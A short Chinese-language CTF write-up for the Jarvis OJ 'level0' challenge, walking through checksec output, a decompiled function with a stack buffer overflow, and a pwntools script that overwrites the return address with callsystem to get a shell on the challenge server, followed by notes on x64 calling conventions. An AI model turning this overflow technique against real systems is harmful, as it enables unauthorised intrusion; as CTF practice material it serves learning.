jarvis oj level0
阿新 • • 發佈:2018-12-22
菜鳥入門,先從level0開始下手。
首先checksec,發現開啟了nx保護。
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
拖進64位ida,檢視vulnerable_function
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
發現開闢了0x80的緩衝區,讀取了0x200的內容,同時幸運地發現了callsystem函式,考慮緩衝區保護了,可以將返回地址覆蓋為callsystem地址。
正常vulnerable函式棧如下:
高 | vul_ret_address |
---|---|
ebp | |
buf | |
低 |
棧的增長方向是從高地址向低地址。
我們要做的是把vul_ret_address覆蓋成callsystem地址。
構造payload=‘a’*0x80+‘junk-ebp’+p64(sys_addr)
指令碼如下:
from pwn import * context.log_level="debug" p=remote("pwn2.jarvisoj.com",9881) e=ELF("level0") sys_addr=e.symbols['callsystem'] payload='a'*0x80+'junk-ebp'+p64(sys_addr) p.send(payload) p.interactive() p.close()
幾個收穫:
pwntools的使用。函式執行時棧的狀態,函式執行時先push ebp,將原棧底地址入棧。ebp棧底指標,esp棧頂指標,esp會一直變化。呼叫函式時須先將下一跳地址壓棧,即呼叫完函式的返回地址。
分享一篇入門好文章
遺留問題:
通過e.symbols['system']和e.search('/bin/sh').next()
獲取bin/sh地址和system地址,構造system("/bin/sh")為什麼不行?沒想明白以後再看
知道了,level0是64位程式,引數不儲存在棧上,可以利用pop rdi,類似於level3_x64
一開始以為recv()沒什麼用,還是需要用recv,只有recv了,伺服器返回的字串才會從快取中丟棄,要不可能recv的是上一條返回值,要注意。